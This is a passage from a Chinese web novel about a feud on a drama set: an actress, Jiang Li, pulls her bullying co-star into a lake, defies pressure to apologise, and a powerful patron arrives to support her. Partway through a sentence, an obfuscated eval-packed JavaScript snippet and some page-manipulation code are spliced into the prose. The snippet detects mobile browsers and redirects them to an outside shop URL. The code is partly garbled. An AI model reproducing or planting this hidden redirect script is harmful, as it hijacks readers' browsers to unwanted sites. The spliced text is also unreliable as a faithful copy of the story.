先前趾高气昂地跟她说话,如今还不是得乖乖在水里泡着,任她拿捏? 她就喜欢姜梨看不惯她,又拿她没办法的样子。 姜梨平静地看着秋零,眼眸微眯,瞳底的寒意压过了水温,却依旧没说一句抱怨的话,只默默调整呼吸,等着秋零的下一次“表演”。 这时,远处的导演用对讲机问道:“秋老师准备好了吗?” 秋零直起身,意味深长地看了眼水中的姜梨:“好了。” 导演:“那咱们再来一条。” “Action!” 戏幕拉开,终于找到玉佩的“凌霜”从水中探头,浑身湿漉漉的。 船上的“公主”急切又担忧地冲她伸出手:“凌霜,你没事吧?你抓住我,我这就拉你上来。” 看着秋零递来的手,姜梨伸手去抓,秋零下意识又要躲开。 这一次,姜梨没给她得逞的机会,在她的手缩回之前,先一步抓住她的手腕。 秋零没有防备,被她拉得趔趄了一下。 于此同时,姜梨拽着秋零暗使巧劲,使得秋零摇摇欲坠,最终脚下不稳,一个前倾跌入湖中。 “啊!” “噗通——” 湖面溅起巨大的水花。 姜梨脸上写满惊慌:“秋老师!” 她迅速游到秋零身边,伸手去扶,却在对方想要借力时不经意般松了手,让秋零呛了好几口水。 “秋老师,你没事吧?” 姜梨的声音急切,手上却稳稳按住秋零的肩膀,确保她在水里多待几秒,“这水冷得很,您也不说站稳些,怎么就让自己掉下来了呢?” 11. 第 11 章 冰冷的湖水像千万根细针扎进肌肤,秋零慌乱地扑腾着,那一身华丽而厚重的戏服很快吸饱了水,像枷锁般拖着她往下沉。 等她好不容易稳住身形,冷得牙齿打颤,目光狠狠瞪向姜梨:“少在这假好心,分明是你拽我,我才掉下来的!” 姜梨无辜地看着她:“秋老师这是什么话?戏里我本就是要借着你的力道上岸的,我刚才拉你的手有什么不对?是你自己压根没使力拉我,轻飘飘地站在那,才会突然站不稳掉下来,跟我可没关系。” 秋零被她的话堵得心里一阵憋屈,气得要打姜梨。 姜梨自然不会让她得逞,直接捉住她的手腕反抗。 姜梨饰演杀手这个角色,平日里没少得到锻炼,秋零的身子骨压根不是她的对手。 转眼的功夫,秋零便被她摁进水里,又呛了几口水。 导演看事情愈演愈烈,急忙叫了工作人员把两人分开,带上岸。 初冬料峭,阿黛一看见姜梨上来,立刻冲上前,将厚重的羽绒服裹在她身上,又拿干毛巾给她擦头发,微微哽咽地问:“梨梨,你没事吧?” 姜梨看她眼眶泛红,心底一暖,笑着安抚:“哭什么呀,我当然没事,这不是报复回去了?” 想到刚刚的那一幕,阿黛心里觉得解气,但随之而来的,是替姜梨担忧。 那个秋零可是有后台的,得罪不起。 紧随其后被救上岸的秋零被一群人簇拥着,身上裹着两个羽绒服,浑身哆嗦着,嘴唇发白,却仍强撑着力气怒骂:“姜梨,你给我等着,我不会放过你的!” “好啊。”姜梨平静地看着她,“我倒想看看,你能拿出多大的本事不放过我。” 她说完,没再看秋零,直接下了画舫。 刚走下来,姜梨和导演温解明迎面撞上。 姜梨歉意地道:“抱歉,温导,秋老师的衣服湿了,恐怕得重新收拾一番才能继续拍。” 温解明朝那边看一眼,此刻秋零瑟瑟发抖地裹着羽绒服,正举着手机哭哭啼啼地打电话,显然是告状的。 温解明一脸担忧地看向姜梨:“她背后有个投资商老公,不是我们能得罪起的,姜老师何必跟她置气?” 抛开姜梨曾经和林晋泽的关系不谈,温解明对她也是惜才的。 姜梨不仅能吃苦,不矫情,在这部剧的表现也实在精彩,无论打戏还是权谋戏,她都演得精准到位,出了好多名场面,温解明甚至动过让编剧老师给姜梨加戏,把这部剧改成双女主的念头,也向上面提了申请。 可惜,秋零知道后怕姜梨日后会压她一头,坚决不同意,甚至请了她老公出面阻止。 温解明不想惹事,只好作罢。 他没想到的是,姜梨和秋零两人,今天又惹出这么大的矛盾。 如果姜梨彻底把秋零得罪,投资商要求把姜梨换掉,那他的损失可就大了。 姜梨自然看得懂导演此刻的担忧,说道:“温导放心,这件事我会一力承担,不给您和剧组添麻烦。” 回到更衣间,姜梨把身上湿透的衣服换下来,阿黛帮她吹干头发。 莫雅云闻讯赶来,关切地询问状况:“梨梨怎么样?” 看到莫雅云,姜梨还没来得及接话,阿黛的眼眶先红了,带着哭腔向莫雅云诉苦:“云姐,那个秋零实在太欺负人了!这么冷的天,她一遍遍故意NG,就让梨梨在冰水里泡着。就算她老公是投资商,也不能这么仗势欺人啊!” 莫雅云见姜梨此刻脸色还没完全缓过来,也难免心疼。 此外,她面上还有另外一层担忧:“我来的时候遇见秋零的老公了。秋零哭诉说梨梨故意把她拖下水,又把她摁在水里呛口水,现在浑身不舒服。她老公扬言要换掉梨梨的角色。” “她怎么还恶人先告状!”阿黛气得声音都在发抖,“明明是她先欺负人,全剧组都看见了!” “这个圈子一向如此,你又不是第一天进来。”莫雅云睇了阿黛一眼,又看向姜梨,“这部戏已经拍了大半,此时换角色对你声誉不好,我把林导请来了,这会儿他正在外面和秋零那边的人交涉。” 姜梨神色微沉:“雅云姐,我跟你说过……” “我知道你们俩分手了。”莫雅云打断她,语气带着安抚,“但现在情况特殊。以他在圈内的地位和人脉,总能帮上忙。” 姜梨整理好衣襟,一言不发地推开更衣室的门。 摄影棚临时搭建的办公室内,林晋泽正与秋零的老公孙煜交谈。孙煜面对林晋泽时,态度还算客气。 见她出来,林晋泽立即上前,伸手想要触碰她的肩膀,姜梨嫌弃地侧身避开。 林晋泽悬在半空的手僵了一瞬,脸上浮现一抹涩然:“梨梨,你还好吗?” 姜梨沉默着,没有说话。 林晋泽静静地望着她,眼底掠过一丝复杂,很快又恢复温文尔雅的神情:“我已经和孙总谈过了。只要你过去向秋零诚恳道个歉,这件事就到此为止。” “道歉?”姜梨嘴角挂着讥诮的笑,冷冷看着他,“我做错什么了?为什么要道歉?” 林晋泽欲言又止,温声道:“我知道你心里委屈,但秋零背后有孙总撑腰。你想保住这个角色,只能暂时低头,我这也是为你好。前期付出了那么多的努力和心血,难道你真想在此时被换掉角色?” 说到这里,林晋泽把她拉至无人的角落,再开口时语气里带了一丝劝诫,“以后我不在你身边,你这脾气也该改改了,不要轻易招惹这种有背景的人,不然对你不利,何况我也不可能次次都能护着你。这次你就委屈一下,跟对方道个歉,大事化小,小事化了。也就是弯个腰的事,并不会损失什么,总比丢了角色强。” “你少在这做好人。”姜梨不屑地打断他,“我没求你替我收拾烂摊子。” 她平静地看着眼前这个自己曾经满心爱慕过的男人,此时却再掀不起半点波澜,“你既然觉得我惹是生非,给你添了麻烦,那就别管。我本来也不需要你。” “我不帮你谁帮你?梨梨,我和你会走到今天这个地步,全是身不由己,在庞大的资本面前,我们都太过渺小,根本无力抗衡。等你到了我这个年纪就会明白,很多选择都无关喜欢,不过是权衡利益之下的刚好合适,就如我和秦优那般。” 林晋泽望着她那张素颜下依旧清丽脱俗的脸庞,语调里裹着化不开的无奈,“我从未想过和你形同陌路,再无瓜葛。无论任何时候,我都希望你好好的,也会尽我所能,在这个圈子里照顾好你。” 姜梨轻笑一声,面上浮出一丝嫌恶:“林晋泽,我最后说一次,我们已经分手了,你既然做出了选择,就不要吃着碗里看着锅里的恶心我,更不要把自己背叛感情说得清新脱俗,好像你是受害者。从今往后,我的事也不需要你插手,我自己会解决。” 林晋泽好话说尽,谁知她却毫不领情,还对自己恶语相向,顿时被她气到:“你自己解决?除了我,谁还会替你出面?都什么时候了,你能不能别这么意气用事?” 姜梨根本不想再搭理林晋泽,兀自走向休息区,从容地在一张摇椅上坐下来。 早就料到秋零会搬出投资商老公,姜梨在换衣服时就已经给堂弟尹慕翊发了消息,让他过来一趟。 以前为了林晋泽,她千方百计隐瞒身份。 如今两人既然已经分手,她当然不会让自己平白受这种窝囊气。 秋零的经纪人走过来,看姜梨坐在躺椅上悠然自得,略微意外一瞬,开口劝慰道:“姜老师,我们零零也不是不讲道理的人,虽然你今天做错了事,但这会儿零零说了,只要你去诚恳地向她道个歉,这件事也就算过去了。” 姜梨掀起眼皮,淡淡睨她一眼,又重新闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144526|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼假寐。 秋零的经纪人眉心拧了拧,语气比刚才凌厉几分:“姜老师,我们零零是什么脾气你是知道的,如果你非要如此固执,这个角色恐怕就难保了。” 温解明听到这话,急得不行,忙皱着眉头上前打圆场:“姜梨啊,你看这事儿闹的……前面已经拍了不少你的戏份,临时换演员对剧组也是很大的损失。不如你就服个软,给秋老师道个歉,咱们把戏顺顺利利拍完,对大家都好。” 周围的工作人员也纷纷投来或同情或催促的目光,无形的压力如同潮水般向姜梨涌来。 林晋泽站在一旁,眼神复杂地看着她,仿佛在说:看,你最后还是得听我的。 姜梨嘲讽地笑了下,抬眸看向秋零经纪人:“我这人,自生下来就不知道什么叫低头。不如你去转告秋零,让她先来向我低个头,我也考虑考虑要不要对她轻发落?” 秋零经纪人的脸色顿时变得难看。 她离开没多久,秋零气冲冲地走过来:“姜梨,我对你已经很宽容了,你别不识好歹。还想让我给你道歉,你做什么春秋美梦?” 见她亲自过来跟自己吵架,姜梨挑了挑眉:“你怎么知道是做梦?我觉得,没准会成真。” 就在这时,一个工作人员快步走到温解明身边,俯身在他耳边急促地低语了几句。 温解明的脸色瞬间大变,诚惶诚恐地站起身,甚至来不及整理表情,就急忙朝着投资方孙煜走去。 两人低声快速交谈了几句,孙煜的脸色也立刻变得恭敬而紧张。 “快!都打起精神!”孙煜转身,对着片场所有人员,声音带着不容置疑的威严,“有重要领导来视察工作,刚才的事情暂时搁置!谁要是敢在这个节骨眼上出半点岔子,别怪我翻脸不认人!” 说完,他便和温导一起,带着几个剧组高层,匆忙而又恭敬地朝摄影棚外迎去。 这突如其来的变故让所有人都有些懵,就连秋零也暂时收起了嚣张的气焰,疑惑地望向门口。 姜梨心中微动,猜想大概率是尹慕翊来了。 不过就是让他来解决一点小麻烦,那小子搞这么大阵仗干什么? 她起身,缓步走到门口,抬眼看去。 不远处,一行人正气场强大地朝这边而来。 慕辰帆一身剪裁考究的深色西装,外罩黑色大衣,被几个影视城高层和投资方要员簇拥在正中央,身姿挺拔,步履从容,犹如鹤立鸡群。 他并未刻意释放威压,却自带迫人的气场,目光平静地扫过片场,仿佛只是进行一场寻常的巡视,却让迎上去的孙总、温导等人都不自觉地微微弯下了腰,态度谦卑至极。 他的目光掠过众人,直直看向站在摄影棚门口的姜梨。 随后,大步朝她而来。 众目睽睽之下,慕辰帆在她跟前站定。 姜梨一时间脑子有点不太清醒。 她电话里叫的不是尹慕翊吗,慕辰帆怎么出现了? 他突然来视察,应该不是巧合吧? 尹慕翊让他来的? 她张了张口,还未说话,倏地打了一个喷嚏:“阿啾——” 寂静的片场,这个喷嚏打得格外响亮,她甚至看到自己鼻端喷出来的雾气落在了慕辰帆的衣服上。 所有人吓得不自觉屏住呼吸,不敢去看慕辰帆的反应。 男人恍若未觉,只是体贴地脱下大衣外套,裹在姜梨身上:“站在风口干什么,刚在水下泡那么久,不冷?” 他的声音不大,却也没有刻意压低,周边的人都听得到。 林晋泽眸光微闪,面上写满不可思议,目光直直看向姜梨。 孙煜和秋零吓得倒抽一口凉气。 莫雅云和阿黛互看一眼,惊愕地瞪大眼睛,互相用眼神疯狂交流。 就连姜梨本人也略显诧异地抬起头。